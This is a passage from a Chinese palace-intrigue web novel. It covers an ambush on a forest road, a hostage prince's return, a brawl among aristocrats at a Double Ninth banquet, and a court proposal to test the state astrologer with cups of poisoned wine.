“完了!呜呜呜呜呜......快想起来,快想起来!”,仙宁边敲着自己的脑壳边跑开。
......
独步幽径,抬首间繁星无数,巫辰确认,可承载起漫天繁星的永夜,如今却只容得下她一人。
其余的,莫问秋风亦或是明月,远离便好。
慌神间已然走到平日里殷思抄写记录星象的案前,满满一纸天象测算,她却一个字都不相信,置于桌边以砚台压紧,砚台重重落在桌上。
「这是最后一次。」
......
献都城中,李府内,素幔低垂,白烛摇曳。案几之上,酒盏满盈,却无人问津。
“四公子,殷公子那边递了消息过来,问您好呢。”,李鹜身边的小厮与灵堂内轻声道。
李鹜只是冷言道:“知道了,下去吧。”
“公子,这......您不给殷公子个回复吗?这刺杀之事才发生不久,许是听闻李氏公子遇害,正关心您的。”
李鹜听罢却自嘲笑道:“是吗?他是想打听我是不是还活着吧。”
小厮皱眉道:“唉......公子怎的这么想。这城中人都知,您二位是常年形影不离,关系最近......”
话未说完便被李鹜打断:“我不过是个挡箭牌,他逢场作戏,我何必相信。”
“这......”,小厮见李鹜与平日所言所讲大相径庭,认为许是公子的二位兄长意外离世,正式悲伤至极,乃至心情不悦,忙宽慰起来:“公子莫要神伤,现下李府出现这等事,老爷也很是烦心;二公子又常年在外,家中仅您一人可帮扶着了,您可得撑......”
“哈哈哈哈哈哈哈.....”,小厮话未说完,李鹜便笑起来,在寂静的灵堂中,格外清晰。
“他俩死了,哈哈哈哈哈哈......我乐还来不及呢,我伤心个屁。”
“......”一旁的小厮被吓个不轻,连忙左顾右盼生怕有人听着李鹜的话,“......公子您这是说什么,叫人听见老爷要怪罪的。”
“哈哈哈.....啧,在自己家里,装起来没意思,就算是李老头子站我面前,我该笑,还是得笑啊哈哈哈......”,李鹜说罢又手肘戳戳旁边的小厮,似是正憋笑,又道:“诶,你也别憋着,想笑就笑吧。他俩死了,李府的人,应好过百倍了吧?”
小厮赶忙低头,“这.......”,片刻后似是想起什么,道:“四公子,过几日的重阳宴,开在城郊东方家旧宅的,您可要过去?”
李鹜只是笑道:“去,当然要去,我最是喜热闹了。”
11.归鸟
城郊晓雾弥散,枯木掩径幽,去往城郊东方氏旧宅的马车正驶于林间;久久无人出声,很是尴尬。
“......怎的都不说话呢?好无聊......你们在紧张什么呢?”,仙宁小声试探着,又拽了拽巫辰的衣角,“阿辰......”
巫辰仍闭着眼,没有回应。
“小思,小思,今日能见着谁呀。”,仙宁见巫辰不理人便不再自讨无趣,转过头又问向殷思。
殷思平静道:“很多人。”
仙宁撇着嘴嫌弃道:“哦,你真敷衍。”
“......”,木叶悄落,安静得只闻马蹄轻踏声和车舆微微晃动发出的声响。
仙宁小声问道:“怎么了.....心情不好?你们吵架了吗?”
巫辰却猛然睁眼,道:“嘘。”
随后立即跃出车舆,飞身到至林间,马车继续向前行驶,即将行至分岔路口间。
“阿辰你......”,仙宁见状也欲出车,却被殷思拉住打断:“别说话。”
“噢!”,意识到事情并不简单仙宁连忙捂嘴掩声。
巫辰察觉正有人暗中随行马车,鹘鸟于此时略过,叫声极大,岔路口的另一头隐隐有马车疾驰声,似是已然失控。
林间枝丫处,巫辰眉间紧蹙,眸中寒芒凛冽,手持短刃流光般划过,刹那间刺向刺客咽喉,精准狠辣,血溅枝头。
而后又迅速捕捉到另一人的踪迹,风过林梢,寒刃亦随风而至,刺客躲闪不急被巫辰划破臂膀,巫辰也未再紧追不舍,折返回马车处。
辕马惊狂,车轮辘辘疯转,车帷亦是烈烈作响,眼看将与岔路间失控的马车相撞。
“吁!!!!!”,随行侍从紧拉缰绳,马车已是微微倾倒。
仙宁于车内害怕得大叫个不停:“啊啊啊啊啊啊啊啊啊啊啊啊........”
“别动。”,殷思急忙拉住仙宁,正欲借力出舆稳住惊马,巫辰于同一时间从倾倒的方向大力踹向车舆,暂时维持住平衡。
仙宁如劫后余生般拍着胸口道:“啊!天呐......差点儿死掉了......呜呜呜呜呜。”
巫辰扶正马车后即刻转向另一架马车,紧拽缰绳抑制住惊马继续前行,随后迅速回身冲进车舆,以短刀抵在车内之人脖颈处,一旁另一人正欲回击巫辰,巫辰则换手持刀腾出右手,掐住那人的脖子重重撞在车舆边。
“小思,你看我的胳膊腿还在吗......要散架了,果然不妙啊呜呜呜呜呜......”
“都还在,你先坐好。”,殷思无奈拉仙宁坐稳。
仙宁却仍在自顾自念叨着:“真的还在吗?可我已然感受不到它们的存在了......”
“真的。”
车内两人皆是受制于巫辰无法动弹,她只盯着眼前的人,那人身穿白衣,眼上蒙着淡色眼纱,丝毫不见畏惧的神情,只是静静坐着。
昏暗间瞥见他嘴角处,似是在笑,甚是古怪。
沉默片刻后那人突然开口道:“溯理,好久不见。能否请你的朋友把刀先收一收?”
而后又是淡淡一笑,补充道:“怪吓人的。”
“......”
“溯理?谁是溯理?”
殷思拉回正将身子往出探的仙宁,随后下车嘱咐道:“坐好,不要出来。”
“哦......”,仙宁鼓着嘴正没好气。
“......”
......又是一阵沉默,殷思只在一旁默默看着,竟不知如何开口。
似是思考良久,车内的人默默说道:“嗯……原来你们不认识。”
“......”
随后竟伸手轻轻拍了拍巫辰,客气道:“请问能先把她放开吗?她要被你掐死了。”
巫辰看向旁边的女人,穿着像是侍女,看气息似是不会武的,松开她后转手取另一把小刀抵着她喉咙处。
“咳咳咳......咳咳......”,恢复呼吸后那女人呼吸急促,轻咳不止,却因短刀所在之处不敢有多余动作。
“......”
那人见状笑道:“原来能听见声音的。”
“在下,承晚今。车外那人,是我旧友,能不能先......”
巫辰见承晚今提及殷思,手中匕首更近了几分。
承晚今笑道:“不好意思,我不知你们有仇。”
“但我们应是没仇的,谢谢你拉停我的马,有些误会,能否好好聊聊?”
一旁的侍女猛然间拽住巫辰的手正欲夺过刀,却被巫辰一把拉住扔出车外,反应过来时已然倒地;殷思快速躲开从车里飞出来的人,竟是完全朝着他站的方向扔的。
“咳......殿下!”,那侍女到底后咳血仍忧心着车内的承晚今。
承晚今朝车外轻声道:“我无事,代贺,你太没礼貌了。”
“......”代贺看向一旁的殷思,喃喃道:“殷思......”
殷思眼中却是充满疑惑与震惊得看着她。
巫辰突然开口问道:“你的眼睛,怎么弄的。”
“原是关心我的,我当你要杀我呢。”
“眼睛,怎么回事。”
承晚今轻笑:“出远门前,不小心叫人戳瞎了,小事而已。”
被展家毒毒瞎了眼睛,竟说是小事。
......
仙宁已是等得失去耐心,将头探出车外道:“在干什么呢!怎么这么久!!!!!”
见倒在地上的代贺,忙跑出车舆道:“哎......怎么还摔地上了?快起来快起来!你是谁呀?”
“.......”,代贺被仙宁扶着起身,却并未说话。
仙宁生气撇嘴道:“.......啧,一个个儿的都不说话!”,后又疑惑得看向殷思问道:“小思你愣着做什么呢?”
“......别过来。”
“你们实在太慢了!这么半天还没说完......”,说着便直接掀开承晚今的车帘,巫辰见仙宁过来,只好将刀收起。
“嗯?你又是谁?”,仙宁歪头问向承晚今。
他淡淡笑道:“我是承晚今。”
“哦!我不认得你!我是钦天监的仙宁,国师大人!”,而后又忍不住好奇问道:“你从哪儿来的?”
“从天隆国来的,到大苍,归家。”,已于天隆国为质八年的承晚今,如今却只是淡淡说着‘归家’。
“哦!那你可以多在家呆呆了……嗯……天隆国的寿数,比你的还短!”
承晚今听后笑问:“这样吗?”
仙宁见他未表怀
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疑,兴奋道:“嗯嗯!千真万确的,你可要信我!”
“自然是信的。”
“阿辰,你在做什么呢!”
巫辰仍未回答,只是下车,又飞身跃进林中,难寻踪迹了。
“诶??怎么……怎么走了……阿辰!!不要抛下我啊,你可要保护我的!”,仙宁说罢要追上去。
殷思阻止道:“无事,我们先走,她会跟上我们。”
“……啊,跑……跑着跟马车吗?”,仙宁不敢置信。
“嗯。”,而后又恭敬对承晚今道:“颖王殿下,请。”
“殿下,我扶您。”,代贺也过来扶他。
承晚今动作稍顿,对殷思道:“溯理,许久未见,竟与我生分了。适才,已全然顾不上理我了。”
“……”
仙宁听罢便拉着殷思好奇地说着:“嗯?小思,原来是你叫溯理吗?都不知道你还有这个表字呢!”
“……”
“溯理与国师,也是旧识?”
仙宁抢话道:“不是不是!我们才认识不久的!小思是我的主簿,我是他的老大呢!”
“原是这样,竟弃武从文了?”
“小思,你居然还会武的!天呐……完全看不出来!”,而后又拉着殷思问个不停:“你会什么招数呀……用刀还是用剑的……能打过阿辰吗……你们两个谁更厉害一些……”
“……”
承晚今站稳身后悄悄问向殷思:“刚才拿刀的那位是……”
“……”,殷思不知如何回答。
“……嗯……看起来很是讨厌你的,才提及你,险些一刀了结我。”
殷思终于道:“……那真是抱歉了,颖王殿下。”
“走喽!上车!”,仙宁也不再管二人,自顾自爬上车,随后嘱咐着:“你们不要耽误时间了,再不走要赶不及时辰了!漂亮姐姐?”
“叫……叫我……?”,代贺忙问道。
“当然了!这儿没有别人了呀!先上车,不理他们了!”,说罢便拉着代贺上了车。
“殿下,请。”,难以分辨语气。
承晚今笑道:“莫要如此客气了,殷,公,子。”
“殿下归朝,竟无人互送……甚至无人执马?”,殷思直言可疑之处。
“不巧,随行的,早已死路上了。”
“你此番归都,朝中从未有过消息的。”
承晚今偏头问道:“不愿我回来?”
殷思继续道:“怎会,只是听闻,边关与天隆一战,赢得甚是轻松,似是因从某处,得了什么重要的东西。”
承晚今却未正面回应,只是笑道:“看来你还未全然弃了武,军中之事,竟打听得如此清楚,这事儿,我都不知道呢。”
“不过是道听途说。”
“哦?看来殷公子,有好‘正’的道。不知能否,分享一二?”
“皆是些小打小闹的,不好在殿下眼前显摆的。”
“真不巧,我眼睛不好使,竟看不出你是如何显摆的。但听着,很有趣,改日殷公子得空,再一起坐坐?”
“不空。”,殷思淡淡道。
承晚今轻笑:“更不巧了。”
鹘鸟略过,振翅破风,身轻万缕,穿云间,鸣声破雾。
归鸟还朝。
……
12.宴前
重九之宴,菊英缤纷,金盏罗列,酒气氤氲间,秋香入馔。
“东方姐姐!啊……失礼,见过东方大人。”,刑部尚书齐炜之女齐徽姩于宴庭间遇东方羽灵,忙拉着她熟络得说气话来,却因想起东方羽灵前些日子新任继华堂辅领官,此时身份已然不同,忙转变称呼俯身问安。
东方羽灵扶起齐徽姩,笑道:“齐妹妹客气了,许久未见,莫要生分。齐尚书近日可还安好?我阿爷时常挂念着尚书,嘱托我问你近况呢。”
“回国公放心便是,我父亲身体康健,只是最近公务稍紧,又逢陛下抱病,很是忧心,今日便托我来请诸位安。我一个女儿家,也比不得姐姐的头脑可为族中之事分忧,只好在旁劝说宽慰着,盼着多少可见些成效。听闻今日,陛下未过来,是皇后娘娘主宴?”,齐徽姩细语温软。
“是了,姑母前些天传消息道陛下病得突然,本应于御前侍疾的,却因得重阳宴筹办已久且这请帖于春日便发去了,不可失信于各位大人,遂这宴不同于往年,改为只办一日了。”,说着东方羽灵面上转喜为忧。
齐徽姩在旁宽慰道:“原是这样,辛苦东方姐姐考虑着各方心情了,今日定是会顺顺利利的。”
“借妹妹吉言了,妹妹可先行落座,晚些再聊。”
“嗯,多谢姐姐了。”,齐徽姩目送东方羽灵离开。
世家权贵纷纷入宴,许是因近日都城内乱事频出外加皇帝称病未到,多数在朝官员借故爽约未到,到场大多为氏族小辈或朝中闲官。
“啧,大苍朝中当真是要无人了?怎么如此冷清,看来是都不给我们的新官东方大人面子呢哈哈哈哈哈!”,说话之人为如今势头正胜的世家之后冷时俊,聒噪而无礼,徒惹人嫌。
其庶弟冷时杰在旁小声阻止道:“兄长……少说两句吧。”,后又回身像东方羽灵解释起来,“大人……抱歉抱歉……我兄长他……”
冷时俊见状骂道:“怂球!”
东方羽灵面上却也未恼,仍是笑道:“听闻冷大人前些日子与刺客过招不敌,受了些小伤,我担心了好久。伤未愈便过来赴宴,看来是给足了我面子的。只是大人看着面色不佳,应当……小心些。”
“小心……飞来横祸。”,语毕后又小声对冷时俊道。
“你!”,冷时俊似是被激怒,随后语气充满嘲讽,“东方羽灵,你最好当心着些。别哪日失足,被困在花楼跑不出来了,大哭一场。”
面对无礼,东方羽灵直言道:“那日醒淑阁之事,果然是你做的,竟不知冷大人行事,如此下作、令人作呕。”
“什么事?我怎么听不懂呢?”,冷时俊反倒装起傻来,“你们在花楼里头的破事,我怎会知道?真是好笑。”
见周身的人愈发多起来,冷时俊索性抬高声调:“空口白牙诬陷人,这就是你继华堂、你东方氏的做派吗?”
此时一同入席的仙宁见宴间有人聚集,忙拉着巫辰和殷思来看热闹。
同行的李鹜率先发问:“怎么了怎么了?冷兄在气什么呢?”
“嗯。你们来的正巧,殷思,那日你同东方大小姐在花楼见过吧?可听说她在气什么呢?”,冷时俊并未搭理李鹜,应是从不将他放在眼里,而是直接问向后面的殷思,也未在众人面前避讳,直接提及花楼寒碜起殷思。
“啊?”,李鹜面露疑惑。
周围其余围观者议论纷纷:“这东方大人……真去过花楼的……”
“虽是为官……怎么姑娘家去那种地方……”
......
殷思却是满脸无所谓与不耐烦,直接问道:“哦,花楼那么多家,不知你说的是哪一家?”
“诶……殷兄……”,一旁的李鹜忙向殷思使眼色,如此问,等同于当场承认。
冷时俊见殷思接下话茬,得意起来,定要于今日给东方羽灵难堪,“东方大小姐适才说的是……是叫醒淑楼的,是不是?”
“醒淑楼内,我与东方大人巧遇过多次的,不知你是指哪一次?”,殷思淡淡道。
“???”,李鹜瞪圆了眼看向殷思,似是不敢置信。
东方羽灵严肃道:“殷公子请自重,我何时见过你多次了。”
冷时俊咧开嘴角,嘲讽笑道:“哈哈哈哈哈,这可是殷公子作证的啊,众人也都听见了,你们花楼里的事,与我无关呢。”
殷思只装作思索,接着道:“我想想啊……嘶……前些日子几次三番闯进楼里抢人的,应当是你吧,东方大人。因这从花楼抢人,甚是稀奇,我确是耐不住好奇多看了几眼的。”,语中带笑,满是戏谑,“那儿我去过多次,很是熟悉,不应记错的。”
仙宁于一旁边看热闹边小声道:“诶……小思怎么看着跟平时不太一样了……他以前说话不是这个语气来着……”
“……”
“阿辰……你快去看看他怎么了……”,仙宁满是担心的神情中似带些嫌弃。
“……”,巫辰只是站在一旁,毫无反应,静看殷思能演到何种程度。
「居然有两幅面孔。」
......
殷思接着自顾自道:“……我记着楼里的人说,新送去的几个姑娘,到了便开始闹,都嚷嚷着自己是继华堂的人,让人绑去的。不久后,你便大张旗鼓去抢人,砸了好些杯盏,动静极大。”,而后似是强调般问向东方羽灵,“两月前的‘醒淑楼’,是我记岔了吗?”
东方羽灵反问道:“嗯?不是叫‘醒淑阁’吗?”
“哦,原是东方大人记岔了。冷大人适才问我,说的是醒淑‘楼’呢。”,殷思笑着看向脸色已然不对的冷时俊。
“……”
周围看热闹的亦是议论开:“是了……东方大人起初发问时,确是讲的醒淑阁的。”
“我也注意到了。”
“……东方姑娘记错这花楼名,冷大人倒是说对了的……”
“怎么平白无故得绑继华堂女官到花楼去……”
......
“殷思。”,冷时俊恼羞成怒。
殷思却挑眉问道:“怎么了?”
“诶诶诶……别生气,莫伤了和气。”,李鹜见气氛不对欲赶忙拉架。
“你滚一边儿去!”,冷时俊已是不管不顾,直接推开李鹜。
李鹜摔到一旁吃痛:“哎
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呦……”
一旁侍从赶忙来扶,“李公子……”,李鹜也不再上前,“唉……没事儿没事儿。”
“你多管闲事什么,怎么没听说过,你们两个穿起一条裤子了?嗯?”,说罢动手拉过殷思领口。
殷思冷视,甩开冷时俊开口骂道:“不是你他妈问我的吗?怎么?冷时俊,你有胆干,没胆承认?”
“殷思,你当你是什么东西?仗着殷家的名头整日耀武扬威什么?哈哈哈哈哈……对了,你们殷家如今也不剩什么了,是出了名的姨娘多还子嗣单薄,外加一个坐轮椅的挂名侯……”
未等其将羞辱的话说完,殷思一拳即出,直击冷时俊面上。
“你在狗叫什么?”
殷思直将冷时俊按在地上,随后便是拳拳到肉,只听沉闷的击打声。
众人皆在看热闹,无人再劝,更多也是想看世家的笑话。
冷时俊反应过后咬牙骂道:“你他妈找死。”,死死拽住殷思右手处欲反击。
仙宁轻拽巫辰衣角,钦天监的面子,绝不可丢。
巫辰上前制止。
东方羽灵随手抄起,旁边案上的热汤与酒杯。
“你他妈……”,冷时俊还未骂完便被东方羽灵迎面泼上来的热汤打断,杯中酒水也正要往殷思身上泼,但巫辰动作过快,瞬时间刚好挡在殷思身前,温酒全盘泼在巫辰身侧。
与巫辰对视的半瞬,东方羽灵捕捉到巫辰眼底流露的一抹杀意,殷思反应过来立刻松开冷时俊起身,看向眼前的巫辰又不知所措起来。
众人见状皆是一惊。
“我靠……烫烫烫烫烫……我草了……”,冷时俊已是被烫得滚起身子。
冷时杰忙拿着帕子擦拭,“兄长!快……快擦擦……”
“啊啊啊啊啊……”
“……”
“天呐……阿辰……”,仙宁忙上前护起巫辰。
“东方羽灵!你找死吗?我……”,冷时俊恼羞成怒正要喊着找东方羽灵算账。
皇后身边的女官李尚宫走进人群打断道:“怎么了?谁找死?”
“尚宫大人。”
“吵什么呢?”
东方羽灵答道:“尚宫大人,无事。一些玩笑话,冷大人和殷公子一时情绪激动,起了小冲突。”
李尚宫看向冷时俊,淡淡吩咐道:“那还不带冷大人下去更衣。”
“是,大人。”
一行人吵嚷着离开。
李长岚转身问向身侧的巫辰,似是打量道:“这位是?”
“钦天监侍卫使,巫辰。”
“羽灵,多叫些人盯好,莫要再出什么岔子,惊着皇后娘娘。”李长岚嘱咐后离开。
......
东方羽灵随即拉住巫辰,道:“实在抱歉,方才是我手抖了,弄脏了你的衣衫,巫大人随我到屋内更衣可好?”
“有劳。”,巫辰随东方羽灵离开。
“小思,你居然会骂人......”,仙宁对殷思悄悄说道。
“……大人听错了。”,殷思小声无奈道。
“啊?没有吧。我……我听错了???”
13.三杯毒酒
巫辰随东方羽灵走进内室,许久的时间里,两人都未言语。
巫辰深知东方羽灵与真相所在,极近,她自幼与兄长相识,父亲当年同因东宫谋反事件受牵连,但是否可信,还需再探;巫辰几次三番欲接近朝中权贵,目的明确也皆是有所保留,原因则是不为成了任何掌权人手中的棋子。
往日身份与所受教育,无形中化为她同展氏历任家主别无二致的“傲”。
巫辰无心沦为旁人的附属品,更不愿成为旁人手中最锋利的刀;她只为将权,掌于自己手中。
东方羽灵支开全数随行侍从,竟亲自为巫辰换衣,手上动作轻柔,面上总是得体得笑着,良久后开口问道:“大人无话与我说吗?”
“展颜钦,在哪儿?”,巫辰无意与她周旋,直接问道。
东方羽灵将一件轻薄的中衣披在巫辰的肩上,并未抬头,笑道:“不知道。”
巫辰紧盯东方羽灵,一语未发。
罗裙衣袖间并未绢着精美的刺绣,全衣装饰简单典雅,是极为适合巫辰的墨紫色,东方羽灵手指间有条不紊,抚平肩处的褶皱,抬眼认真看向巫辰,道:“千真万确。”
“他活着?”
“现在不知。但八年前,他没死。”,随后又补充道:“大人,我的诚意,够吗?”
东方羽灵话语间隔处都会带笑,眼尾稍弯,得体却又让人觉得她的笑,极为虚假。
上一个笑得这么难看的,还是承晚今。
巫辰只是平静得盯着她,语气冰冷道:“未看出半点。”
“用这个,换和你的合作,巫大人意下如何?”,东方羽灵随即从桌柜内拿出一本旧书。
轻轻展开一页,念道:“文定四年,六月初九,午间。阿辰赞我为她挑选的金鱼极为可爱,本应欢喜;待细细查看,鱼已死多日,死状态极为可怖,阿辰却言.......”
旧日如烟萦绕于新,往昔,入眼帘。
……
十二年前,夏日。
展颜钦轻拍展颜辰肩膀处,问道:“阿辰,在做什么呢?今日可有好好温书。”
“哥哥,你养的鱼好可爱……”
见妹妹喜欢他选的鱼,略显自豪道:“我早说过了!我同凌叔叔跟街上挑了半日呢,先前叫你来瞧你还不来……”
“嗯,你瞧。”,展颜辰说着指向缸中的鱼。
展颜钦伸过脑袋去看,却只觉不对劲。
展颜辰于一旁自顾自说了起来,语气极为认真:“这个鱼的眼睛好大,大到像爆开了一样……嗯,鳞片还变色了,原先是红的吧,现在是白粉色了。肚子这里也和之前不同了,长了一条长长的线,由头延伸至鱼尾,全都裂开了!但是身子还未断……挺有意思的,你还有这样的鱼嘛?”
“……恶心死了,你别说了!”,愣神低眉间,展颜辰却已将死鱼拎起来怼到他眼前。
“啊!”,展颜钦直接被这突如其来的一下,吓个跟头。
“你怎么了哥哥?”,展颜辰却拿着死鱼继续凑近,歪着头,好奇兄长为何反应如此之大。
“拿开点儿……它这是死了……”
“哦。”,说罢觉得无趣,便将鱼直接仍回缸内。
“诶……你别扔回去……”
展颜辰看着缸中的鱼,涟漪渐起,她却面色平淡道:“别的鱼和你一样,都不喜欢它,正躲着它游呢。”
“……”
她并未抬头,似是认真思考:“死了就不可爱了吗?你们真奇怪。”
……
思绪归于现实。
东方羽灵读完看向巫辰,笑道:“......如何?”
“手记而已,于我无用。”
东方羽灵却继续追问道:“嗯?真的无用吗?一字一句,皆是他亲手所写;内容,皆是与你往日回忆。我认真读过,很有趣。”
巫辰启唇,眸若寒星,盯着眼前人,似是未经任何思考,冷冷道:“无用。”
……
金乌西坠,余晖侵染。东方府主堂内烛火摇曳,暖黄光晕染着每一处角落,虽并非皇室府邸,装潢内饰却尽显华贵之气。
笑语与丝竹管弦之音交织,暗流涌动,举杯谈笑间,或是奉承、算计。
唯有仙宁所坐之处,热闹非凡。
……
“国师大人!再帮我算一卦如何......”
“大人......”
“国师大人,年前我才在城郊购置新宅,这近日都中动荡,您帮我算算这宅子价势还可保多久的......”
仙宁被众人围着卜算,正是应接不暇:“这个真的不能算了!凡与国运相关,不可算!不可算!!!......太多了......今日算不了了的......”
座上宾却仍毫不客气,仍是追问:“唉......大人哪里的话,如何算不了了?不如大人借这宴间吉日,给个吉祥话,祝我财源广通呢!哈哈哈哈哈哈!”
“是啊是啊,这算命,大多是心理暗示吧.......大人说一句好,说不定这凡事皆可成了!”
仙宁却认真反驳:“这怎么行的?若是我于其中掺假谎报,定是要糟了天谴了!!你可莫要害我!”
求卦之人似是带了几分醉意,戏谑得笑着:“哈哈哈哈哈哈哈哈......哪儿来得如此认真,这道观里出来的小道姑......”
砰————————
一旁的殷思长袖一挥,白玉杯狠狠掼于地上,残片飞溅在周围。
周围人遭这一摔被吓不清,皆皱眉看向声音来源处。
殷思却再未有响动,仍自顾自喝着酒,片刻后抬眼看向围在仙宁周围的众人,漫不经心道:“听不懂人话?”
“说了不给算,还不滚远点儿?”
“呵......殷公子好大的火气,如今入了这钦天监,官职不大,心却未收,还是往日的行事作风?”,那人也不愿占了下风,毫不掩饰得讽刺起来。
顾长史也在旁附和道:“是啊,许府监为长辈,怎可如此无礼的......”
殷思直接打断道:“那多谢您老了。您不说,我还真不知这位是谁呢。倒是要在本公子面前倚老卖老了?”
“你!荒唐!”,许府监闻言怒道。
李鹜见气氛不对也忙来劝:“诶......喝酒喝得好好的,都少说两句。是不是,殷兄,莫再置气了!”
“这殷公子,狂得很,我们在朝为官的,都惹不......”,许府监仍是不甘示弱。
“真热闹啊,在聊什么呢?”,承晚今从旁经过。
众臣俯首:“颖王殿下。”
“嗯。不必多礼。”
殷思仍是坐着,未起身,也未有反应。
许府监道:“哼,殷公子莫不是是连殿下也不放在眼里的。竟装作看不见的?这就是你殷家的规矩?”
在旁官员听罢却笑道:“殿下多年未在朝,许是殷公子,不认得殿下了......”,说罢又装作猛然间反应过来,忙又俯身道:“失礼失礼!殿下莫要怪罪......”
承晚今虽年少受封颖王,却非当今圣上之子,八年前东宫之变后新王上位,先帝一脉自此失势;承晚今又于他国为质多年,于朝中并无亲信,可谓仅存虚名,无权无势。
承晚今却也未恼,仍是笑着:“无事,大人所言,皆为事实,何罪之有呢。”
“你看,还得是殿下大度,快快坐下喝两杯。”,李鹜熟络得招呼承晚今落座。
“多谢李公子了。”,承晚今笑道。
“哈哈哈哈哈!哪里的话!”,说着李鹜便往杯
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中灌入温酒。
方才的几人却仍是不依不饶,阴阳怪气道:“.....啧,殷公子真是.....这身边啊,妇人之辈太多,也不常出入这为官之地,净去那女人扎堆的地儿,家里外边皆是无人教这规矩呢。今日这是宫宴,必要到皇后娘娘面前说道说道......”
周围也未在有人劝说,皆是一副看热闹的样子。
“哈.....才缠着国师东问西问你那点儿破事,道姑是什么意思?你便是有规矩的了?看你岁数大给你点儿面子你还没完没了。”,殷思猛地将手中折扇一合,瞪向说话之人,“要告我的状?你只会狗仗人势是吗?”
“殷思,你!......”
……
忽闻一声高呼:“皇后娘娘驾到。”众人皆跪伏于地。珠帘轻晃,皇后款步而出,身穿正宫红装,绣满的瑞兽与繁花彰显皇家威严。
年纪虽已至中年,岁月却未于面上镌刻过多痕迹,只是添了几分沉稳雍容。双眸犹如深潭,仅仅可读出淡然之色。
“众卿免礼,只是家宴,自在一些。”
众臣俯首:“谢皇后娘娘。”
皇后环视堂中各处,开口道:“怎未见冷时俊,前些日子听闻他于家中被刺,仍在抱病吗?”
知晓宴前冲突详情之人皆是面面相觑。
李尚宫于一旁轻声提醒道:“皇后娘娘,冷大人于宴前同人起了些小冲突,受了些许烫伤,正于内室休息。”
皇后仍是面色未变道:“原是如此,方才,在吵闹什么呢?”
许府监俯首回道:“回皇后娘娘,臣早有听闻钦天监国师大人可料事如神,欲请教一二,无奈受殷公子辱.....呃......直言制止,险些起了冲突。”
“哈哈哈哈,殷思年纪尚轻,许府监莫要同他计较了。”,随后又问向殷思:“殷思,近日于钦天监当差,可还习惯?”
殷思恭敬回言:“多谢皇后娘娘关心,还习惯的。”
“嗯。那便好,主簿一职责任极重,国之运势是大事,不可含糊。”,说罢笑着看向殷思身旁的仙宁道:“看着国师年纪不大,有殷思在旁辅助,本宫倒也放心;可莫要步了前国师的后尘,既得陛下重用可不要叫他失望了。”
仙宁瞧着皇后的目光外加先前的天象,许有些怕的,回言:“是,皇后娘娘......”
“皇后娘娘,臣有一提议,给这重阳宴,添些意趣。”,孙同知起身恭敬道。
皇后道:“不妨说来听听。”
“早有耳闻国师大人言事若神,不知可否借大人未卜先知的能力,玩儿个有意思的。是为赌酒,两杯佳酿,一杯毒酒,共分三轮;看国师能否精准算出,哪杯,无毒。”,说着远远看向仙宁的位置,又道:“以大人的能力,应是可算得分毫不差,国师大人,如何?”
仙宁尚未开口回应,又有官员接下话茬问道:“如何知这酒是否有毒的?若是要同猜这杯下有无瓜果无意了,正逢重阳最适饮酒,所以这酒,必得真喝下罢!哈哈哈哈哈!”
“诶大人......若于堂中,这喝出个好歹......”
“怎么?国师大人可演算国之走向,算三杯酒,还会算错吗?”
皇后打断道:“好了。莫要吓到国师了,这酒如何喝得?才说有三轮,酒醉难免影响后续测算。”,见所言是未驳去提议。
许府监道:“皇后娘娘,不如这酒,便由同在钦天监共事官员来喝。”
“府监.....这怎么行的,总不能叫殷公子来喝......”
许府监却笑道:“......这钦天监不是除了殷公子与国师,还来了一位的。”
仙宁额间已是细汗涔涔,深知事已至此,难以回绝;眉峰紧蹙,呼吸紧促,闻言低眉看向身旁的巫辰,难掩忧心。
14.毒发
许府监却笑道:“......这钦天监不是除了殷公子与国师,还来了一位的。”
仙宁眉间紧蹙,呼吸急促,闻言低眉看向身旁的巫辰;深知事已至此,难以回绝。
......片刻无人应答,皇后却淡然一笑打破寂静,情绪难猜,只觉强烈的压迫感,“钦天监是无人了?还是往日所传,皆是故弄玄虚,在欺君?”
“皇后娘娘,我说的都是真话!没有欺君......”,仙宁眼看被扣上一口大锅,忙慌乱解释。
殷思举杯笑道:“早闻皇后娘娘殿中的酒皆为珍品,酿造之法为秘传,臣愿意一尝。”
“那便不巧了,本宫这儿的酒,陛下都说,烈得很;前些日子缙华堂一案,巫侍卫使当众绞杀作奸犯科之人。”,皇后淡淡道,垂眼笑着看向巫辰,又补充:“本宫于深宫之中,亦是有所耳闻,只觉侍卫使雷厉风行、刚正不阿,极适合尝尝这酒。不知杯酒过后,可愿来御前当差?”
巫辰行礼,声音平稳,透着敬重,道:“谢皇后娘娘赏识,当真过誉。只是钦天监事务,暂且难以离手,国师有恩于我,臣也不愿离开。”
“阿辰……”,仙宁听罢似是泪眼汪汪,轻拽巫辰衣角处。
孙同知讽刺道:“哼……不知是国师有恩于你,还是殷公子有恩于你;于殷家缙华堂杀完人,便能安然无恙进了钦天监,当我们朝中其他人,都死了吗?”
“殷公子有侯爷与殷家做倚仗,自小又颇受陛下偏疼,自然能只手遮天了。虽尚未入士,倒是已然可干预朝中之事,皆不把我们放在眼里了!”,适才与殷思发生口角的许府监于一旁附和着,似是今日便要定了殷思僭越之罪。
皇后却语气平平,转言问向殷思:“众卿不必动气,此话倒是言重了。殷思,你作何解释?”
殷思起身垂首,语气中仍满是轻松与不在意:“回皇后娘娘,我没什么好解释的。不过是对巫辰有意,想留她一命而已。皇后娘娘,今日能否将巫大人赐婚于我?”
此言一出,在场众臣色变,刹那间哗然声起。以巫辰的身份,自是难以与殷思世家身份相配;又叹世家贵子言行竟无状无礼,纨绔终是纨绔,扶不上墙的。
巫辰则是连头也未抬,全然置身于事外。
“殷思你放肆!”,孙同知怒道。
皇后眸中含威,浅笑而言:“哈哈哈哈......你的婚事,本宫还做不了主,需得经了闵国侯与陛下同意。况且,本宫倒是有意你与羽灵,你们年纪相仿,又相识多年的。”
“回皇后娘娘,我与东方大人并不合适。抛开东方大人极反感我不说,世家间从不轻易结亲,臣怎好坏了规矩。”,殷思回道。
在场知情的官员则小声议论起来:“是啊......且这东方小姐,不是与颖王殿下早有婚约的......”
“嘘.....当心着些。”
皇后缓声道:“羽灵,你意下如何?”
东方羽灵起身笑道:“姑母,婚嫁一事,父母之命媒妁之言;羽灵一个女儿家,不好擅作主张的。”,言罢,眼眸低垂,仪态娴静。
皇后无意为难,道:“无事,那便再议。”,似是想起些要事,又道:“唉......正说起来,晚今,多年未见,本宫倒看你瘦了。”
承晚今得体一笑,恭敬回应:“回皇后娘娘,臣离国多年,饮食起居确实难以适应;承蒙边关众将士大胜而归的福,能再归大苍,已然知足了,劳您挂心。”,礼仪周全,令人无处寻错。
